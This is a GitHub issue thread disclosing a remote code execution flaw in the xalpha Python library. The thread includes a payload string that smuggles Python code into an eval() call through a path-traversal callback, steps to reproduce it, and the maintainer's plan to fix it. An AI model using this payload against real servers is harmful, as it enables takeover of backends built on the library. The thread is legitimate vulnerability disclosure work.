refraction-ray / xalpha

基金投资管理回测引擎
MIT License
2.02k stars 437 forks source link

[Warning] RCE in xalpha v0.11.4 ~ v0.11.8 #175

Closed Leeyangee closed 1 year ago

Leeyangee commented 1 year ago

Vulnerability Product: xalpha v0.11.4 ~ v0.11.8 Vulnerability version: v0.11.4 ~ v0.11.8 Vulnerability type: Remote Command Execute Vulnerability Details: Vulnerability location: xalpha/info.py -> fundinfo._basic_init

without verifying the code user input and using dangerous function eval();, causes rce in xalpha v0.11.4 ~ v0.11.8 at xalpha/info.py -> fundinfo._basic_init

image

payload = ../gaoduan/PinzhongRightApi.aspx?fc=AF5097&callback=jQuery183037745026472073073_ Data_netWorthTrend = {your rce python command}; &_=1688890155531#

testpayload = ```../gaoduan/PinzhongRightApi.aspx?fc=AF5097&callback=jQuery183037745026472073073 DatanetWorthTrend = print('hacked'); &=1688890155531#```

let's take the latest version released in the Github v0.11.4 as an example firstly pip3 install xalpha==0.11.4

pip3 install xalpha==0.11.4

secondly import xalpha

import xalpha

thirdly call xalpha.fundinfo("../gaoduan/PinzhongRightApi.aspx?fc=AF5097&callback=jQuery183037745026472073073_ DatanetWorthTrend = print('hacked'); &=1688890155531#") here take the test_payload as argument of the function

xalpha.fundinfo("../gaoduan/PinzhongRightApi.aspx?fc=AF5097&callback=jQuery183037745026472073073_ Data_netWorthTrend = print('hacked'); &_=1688890155531#")

folloing you could see, it successfully run the py code

image

proved rce Also you can prove rce in version 0.11.8, but v0.11.4 is a stable version

reason: the self.url could be relocate path to / by .. image if you input the testpayload ```../gaoduan/PinzhongRightApi.aspx?fc=AF5097&callback=jQuery183037745026472073073 DatanetWorthTrend = print('hacked'); &=1688890155531#```, the path will be relocated to /gaoduan/PinzhongRightApi.aspx and callback, the re.match only check the body of response

image

never check the position of data

image

so causes rce

discovered by leeya_bug

refraction-ray commented 1 year ago

Thanks for the thorough report. The quickest fix is to first check the code format when initiating fundinfo? i.e., it has to be six digits instead of a url str. If this protection is implemented, do you see any potential risk left?

Besides, can you see any scenario that the current issue can have realistic security issues? Because to me, the fundinfo code is written by the users themselves.

refraction-ray commented 1 year ago

Ah, i think i see your point now. The scenario could be someone who host a website using xalpha as backend, then when the use input some weird fund code, the backend server can run something very bad if the server has no check on the user's input more than bare xalpha. In this case, the loophole can be used to weaken the server (say a fund summary website backend by xalpha, if any)

Leeyangee commented 1 year ago

Actually you could just check the code format when initiating fundinfo, you can simply avoid this vulnerability in this way. But I suggest you replace eval() with safer functions to prevent vulnerabilities that may occur in the future.

yeah, if someone host a website using xalpha as backend, The attackers could use the above methods to directly obtain server permissions (attackers could use functions such as os.system() to execute cmd and directly obtain the cmd shell.)

refraction-ray commented 1 year ago

shall be fixed in 0.11.9